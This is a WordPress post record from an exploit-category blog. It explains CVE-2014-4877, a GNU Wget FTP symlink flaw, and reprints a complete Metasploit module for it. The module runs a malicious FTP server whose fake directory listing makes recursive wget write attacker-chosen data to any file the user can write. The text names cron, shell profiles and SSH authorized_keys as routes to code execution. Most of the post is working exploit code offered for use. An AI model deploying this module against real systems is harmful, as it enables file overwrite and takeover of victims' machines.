{"id":16834,"date":"2014-11-01T16:21:29","date_gmt":"2014-11-01T09:21:29","guid":{"rendered":"http:\/\/deepquest.code511.com\/blog\/?p=16834"},"modified":"2014-11-01T16:21:29","modified_gmt":"2014-11-01T09:21:29","slug":"remote-exploits-gnu-wget-ftp-symlink-arbitrary-filesystem-access-exploit-2","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2014\/11\/remote-exploits-gnu-wget-ftp-symlink-arbitrary-filesystem-access-exploit-2\/","title":{"rendered":"[remote exploits] -GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit"},"content":{"rendered":"

GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.\u00a0 Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user’s filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.<\/p>\n

<\/p>\n

Vulnerability<\/h2>\n

The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.<\/p>\n

 <\/p>\n

lrwxrwxrwx\u00a0 1 root\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 33 Oct 28\u00a0 2014 TARGET -> \/<\/strong><\/p>\n

drwxrwxr-x\u00a0 15 root\u00a0\u00a0\u00a0 root\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 4096 Oct 28\u00a0 2014 TARGET<\/strong><\/p>\n

 <\/p>\n

Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user’s filesystem.<\/p>\n

 <\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
##<\/span><\/td>\n<\/tr>\n
<\/td>\n# This module requires Metasploit: http\/\/metasploit.com\/download<\/span><\/td>\n<\/tr>\n
<\/td>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/span><\/td>\n<\/tr>\n
<\/td>\n##<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nrequire<\/span>\u00a0‘msf\/core’<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nclass<\/span>\u00a0Metasploit3<\/span>\u00a0<<\/span>\u00a0Msf<\/span>::<\/span>Auxiliary<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ninclude<\/span>\u00a0Msf<\/span>::<\/span>Exploit<\/span>::<\/span>Remote<\/span>::<\/span>FtpServer<\/span><\/td>\n<\/tr>\n
<\/td>\ninclude<\/span>\u00a0Msf<\/span>::<\/span>Auxiliary<\/span>::<\/span>Report<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0initialize<\/span><\/td>\n<\/tr>\n
<\/td>\nsuper<\/span>(<\/span><\/td>\n<\/tr>\n
<\/td>\n‘Name’<\/span>\u00a0=><\/span>\u00a0‘GNU Wget FTP Symlink Arbitrary Filesystem Access’<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘Description’<\/span>\u00a0=><\/span>\u00a0%q{<\/span><\/td>\n<\/tr>\n
<\/td>\nThis module exploits a vulnerability in Wget when used in<\/span><\/td>\n<\/tr>\n
<\/td>\nrecursive (-r) mode with a FTP server as a destination. A<\/span><\/td>\n<\/tr>\n
<\/td>\nsymlink is used to allow arbitrary writes to the target’s<\/span><\/td>\n<\/tr>\n
<\/td>\nfilesystem. To specify content for the file, use the<\/span><\/td>\n<\/tr>\n
<\/td>\n“file:\/path” syntax for the TARGET_DATA option.<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nTested successfully with wget 1.14. Versions prior to 1.16<\/span><\/td>\n<\/tr>\n
<\/td>\nare presumed vulnerable.<\/span><\/td>\n<\/tr>\n
<\/td>\n}<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘Author’<\/span>\u00a0=><\/span>\u00a0[<\/span>‘hdm’<\/span>]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘License’<\/span>\u00a0=><\/span>\u00a0MSF_LICENSE<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘Actions’<\/span>\u00a0=><\/span>\u00a0[[<\/span>‘Service’<\/span>]]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘PassiveActions’<\/span>\u00a0=><\/span>\u00a0[<\/span>‘Service’<\/span>]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘References’<\/span>\u00a0=><\/span><\/td>\n<\/tr>\n
<\/td>\n[<\/span><\/td>\n<\/tr>\n
<\/td>\n[<\/span>\u00a0‘CVE’<\/span>,<\/span>\u00a0‘2014-4877’<\/span>]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n[<\/span>\u00a0‘URL’<\/span>,<\/span>\u00a0‘https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=1139181’<\/span>\u00a0]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n[<\/span>\u00a0‘URL’<\/span>,<\/span>\u00a0‘https:\/\/community.rapid7.com\/community\/metasploit\/blog\/2014\/10\/28\/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access’<\/span>\u00a0]<\/span><\/td>\n<\/tr>\n
<\/td>\n]<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘DefaultAction’<\/span>\u00a0=><\/span>\u00a0‘Service’<\/span>,<\/span><\/td>\n<\/tr>\n
<\/td>\n‘DisclosureDate’<\/span>\u00a0=><\/span>\u00a0‘Oct 27 2014’<\/span><\/td>\n<\/tr>\n
<\/td>\n)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nregister_options<\/span>(<\/span><\/td>\n<\/tr>\n
<\/td>\n[<\/span><\/td>\n<\/tr>\n
<\/td>\nOptString<\/span>.<\/span>new<\/span>(<\/span>‘TARGET_FILE’<\/span>,<\/span>\u00a0[<\/span>\u00a0true<\/span>,<\/span>\u00a0“The target file to overwrite”<\/span>,<\/span>\u00a0‘\/tmp\/pwned’<\/span>\u00a0]<\/span>),<\/span><\/td>\n<\/tr>\n
<\/td>\nOptString<\/span>.<\/span>new<\/span>(<\/span>‘TARGET_DATA’<\/span>,<\/span>\u00a0[<\/span>\u00a0true<\/span>,<\/span>\u00a0“The data to write to the target file”<\/span>,<\/span>\u00a0‘Hello from Metasploit’<\/span>\u00a0]<\/span>),<\/span><\/td>\n<\/tr>\n
<\/td>\nOptPort<\/span>.<\/span>new<\/span>(<\/span>‘SRVPORT’<\/span>,<\/span>\u00a0[<\/span>\u00a0true<\/span>,<\/span>\u00a0“The port for the malicious FTP server to listen on”<\/span>,<\/span>\u00a02121<\/span>]<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n]<\/span>,<\/span>\u00a0self<\/span>.<\/span>class<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\n@fakedir<\/span>\u00a0=<\/span>\u00a0Rex<\/span>::<\/span>Text<\/span>.<\/span>rand_text_alphanumeric<\/span>(<\/span>rand<\/span>(<\/span>8<\/span>)<\/span>+<\/span>8<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0run<\/span><\/td>\n<\/tr>\n
<\/td>\nmy_address<\/span>\u00a0=<\/span>\u00a0Rex<\/span>::<\/span>Socket<\/span>.<\/span>source_address<\/span><\/td>\n<\/tr>\n
<\/td>\nprint_good<\/span>(<\/span>“Targets should run: $ wget -m ftp:\/\/<\/span>#{<\/span>my_address<\/span>}<\/span>:<\/span>#{<\/span>datastore<\/span>[<\/span>‘SRVPORT’<\/span>]<\/span>}<\/span>\/”<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nexploit<\/span>()<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_user<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n@state<\/span>[<\/span>c<\/span>][<\/span>:user<\/span>]<\/span>\u00a0=<\/span>\u00a0arg<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“331 User name okay, need password…<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_pass<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n@state<\/span>[<\/span>c<\/span>][<\/span>:pass<\/span>]<\/span>\u00a0=<\/span>\u00a0arg<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“230 Login OK<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\n@state<\/span>[<\/span>c<\/span>][<\/span>:auth<\/span>]<\/span>\u00a0=<\/span>\u00a0true<\/span><\/td>\n<\/tr>\n
<\/td>\nprint_status<\/span>(<\/span>“<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:name<\/span>]<\/span>}<\/span>\u00a0Logged in with user ‘<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:user<\/span>]<\/span>}<\/span>‘ and password ‘<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:user<\/span>]<\/span>}<\/span>‘…”<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_retr<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nprint_status<\/span>(<\/span>“<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:name<\/span>]<\/span>}<\/span>\u00a0-> RETR\u00a0<\/span>#{<\/span>arg<\/span>}<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0@state<\/span>[<\/span>c<\/span>][<\/span>:auth<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“500 Access denied<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nunless<\/span>\u00a0arg<\/span>.<\/span>index<\/span>(<\/span>::<\/span>File<\/span>.<\/span>basename<\/span>(<\/span>datastore<\/span>[<\/span>‘TARGET_FILE’<\/span>]<\/span>))<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“550 File does not exist<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nconn<\/span>\u00a0=<\/span>\u00a0establish_data_connection<\/span>(<\/span>c<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0conn<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“425 Can’t build data connection<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“150 Opening BINARY mode data connection for\u00a0<\/span>#{<\/span>arg<\/span>}<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nconn<\/span>.<\/span>put<\/span>(<\/span>datastore<\/span>[<\/span>‘TARGET_DATA’<\/span>]<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“226 Transfer complete.<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nconn<\/span>.<\/span>close<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nprint_good<\/span>(<\/span>“<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:name<\/span>]<\/span>}<\/span>\u00a0Hopefully wrote\u00a0<\/span>#{<\/span>datastore<\/span>[<\/span>‘TARGET_DATA’<\/span>].<\/span>length<\/span>}<\/span>\u00a0bytes to\u00a0<\/span>#{<\/span>datastore<\/span>[<\/span>‘TARGET_FILE’<\/span>]<\/span>}<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_list<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nprint_status<\/span>(<\/span>“<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:name<\/span>]<\/span>}<\/span>\u00a0-> LIST\u00a0<\/span>#{<\/span>arg<\/span>}<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0@state<\/span>[<\/span>c<\/span>][<\/span>:auth<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“500 Access denied<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nconn<\/span>\u00a0=<\/span>\u00a0establish_data_connection<\/span>(<\/span>c<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0conn<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“425 Can’t build data connection<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\npwd<\/span>\u00a0=<\/span>\u00a0@state<\/span>[<\/span>c<\/span>][<\/span>:cwd<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\nbuf<\/span>\u00a0=<\/span>\u00a0”<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndstamp<\/span>\u00a0=<\/span>\u00a0Time<\/span>.<\/span>at<\/span>(<\/span>Time<\/span>.<\/span>now<\/span>.<\/span>to_i<\/span>–<\/span>((<\/span>3600<\/span>*<\/span>24<\/span>*<\/span>365<\/span>)<\/span>+<\/span>(<\/span>3600<\/span>*<\/span>24<\/span>*<\/span>(<\/span>rand<\/span>(<\/span>365<\/span>)<\/span>+<\/span>1<\/span>))))<\/span>.<\/span>strftime<\/span>(<\/span>“%b %e %Y”<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nunless<\/span>\u00a0pwd<\/span>.<\/span>index<\/span>(<\/span>@fakedir<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nbuf<\/span>\u00a0<<<\/span>\u00a0“lrwxrwxrwx 1 root root 33\u00a0<\/span>#{<\/span>dstamp<\/span>}<\/span>\u00a0#{<\/span>@fakedir<\/span>}<\/span>\u00a0->\u00a0<\/span>#{<\/span>::<\/span>File<\/span>.<\/span>dirname<\/span>(<\/span>datastore<\/span>[<\/span>‘TARGET_FILE’<\/span>]<\/span>)<\/span>}<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nbuf<\/span>\u00a0<<<\/span>\u00a0“drwxrwxr-x 15 root root 4096\u00a0<\/span>#{<\/span>dstamp<\/span>}<\/span>\u00a0#{<\/span>@fakedir<\/span>}<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nelse<\/span><\/td>\n<\/tr>\n
<\/td>\nbuf<\/span>\u00a0<<<\/span>\u00a0“-rwx—— 1 root root\u00a0<\/span>#{<\/span>“%9d”<\/span>\u00a0%<\/span>\u00a0datastore<\/span>[<\/span>‘TARGET_DATA’<\/span>].<\/span>length<\/span>}<\/span>\u00a0#{<\/span>dstamp<\/span>}<\/span>\u00a0#{<\/span>::<\/span>File<\/span>.<\/span>basename<\/span>(<\/span>datastore<\/span>[<\/span>‘TARGET_FILE’<\/span>]<\/span>)<\/span>}<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“150 Opening ASCII mode data connection for \/bin\/ls<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nconn<\/span>.<\/span>put<\/span>(<\/span>“total\u00a0<\/span>#{<\/span>buf<\/span>.<\/span>length<\/span>}<\/span>\\r\\n<\/span>“<\/span>\u00a0+<\/span>\u00a0buf<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“226 Transfer complete.<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nconn<\/span>.<\/span>close<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_size<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0@state<\/span>[<\/span>c<\/span>][<\/span>:auth<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“500 Access denied<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>(<\/span>“213\u00a0<\/span>#{<\/span>datastore<\/span>[<\/span>‘TARGET_DATA’<\/span>].<\/span>length<\/span>}<\/span>\\r\\n<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\ndef<\/span>\u00a0on_client_command_cwd<\/span>(<\/span>c<\/span>,<\/span>arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nprint_status<\/span>(<\/span>“<\/span>#{<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:name<\/span>]<\/span>}<\/span>\u00a0-> CWD\u00a0<\/span>#{<\/span>arg<\/span>}<\/span>“<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0@state<\/span>[<\/span>c<\/span>][<\/span>:auth<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“500 Access denied<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nreturn<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nupath<\/span>\u00a0=<\/span>\u00a0“\/”<\/span><\/td>\n<\/tr>\n
<\/td>\nnpath<\/span>\u00a0=<\/span>\u00a0::<\/span>File<\/span>.<\/span>join<\/span>(<\/span>@state<\/span>[<\/span>c<\/span>][<\/span>:cwd<\/span>]<\/span>,<\/span>\u00a0arg<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nbpath<\/span>\u00a0=<\/span>\u00a0npath<\/span>[<\/span>upath<\/span>.<\/span>length<\/span>,<\/span>\u00a0npath<\/span>.<\/span>length<\/span>\u00a0–<\/span>\u00a0upath<\/span>.<\/span>length<\/span>]<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\n# Check for traversal above the root directory<\/span><\/td>\n<\/tr>\n
<\/td>\nif<\/span>\u00a0not<\/span>\u00a0(<\/span>npath<\/span>[<\/span>0<\/span>,<\/span>\u00a0upath<\/span>.<\/span>length<\/span>]<\/span>\u00a0==<\/span>\u00a0upath<\/span>\u00a0or<\/span>\u00a0bpath<\/span>\u00a0==<\/span>\u00a0”<\/span>)<\/span><\/td>\n<\/tr>\n
<\/td>\nbpath<\/span>\u00a0=<\/span>\u00a0‘\/’<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nbpath<\/span>\u00a0=<\/span>\u00a0‘\/’<\/span>\u00a0if<\/span>\u00a0bpath<\/span>\u00a0==<\/span>\u00a0”<\/span><\/td>\n<\/tr>\n
<\/td>\n@state<\/span>[<\/span>c<\/span>][<\/span>:cwd<\/span>]<\/span>\u00a0=<\/span>\u00a0bpath<\/span><\/td>\n<\/tr>\n
<\/td>\n<\/td>\n<\/tr>\n
<\/td>\nc<\/span>.<\/span>put<\/span>\u00a0“250 CWD command successful.<\/span>\\r\\n<\/span>“<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n
<\/td>\nend<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"

GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.\u00a0 Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[43],"tags":[],"class_list":["post-16834","post","type-post","status-publish","format-standard","hentry","category-exploit"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-4nw","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=16834"}],"version-history":[{"count":1,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834\/revisions"}],"predecessor-version":[{"id":16836,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834\/revisions\/16836"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=16834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=16834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=16834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}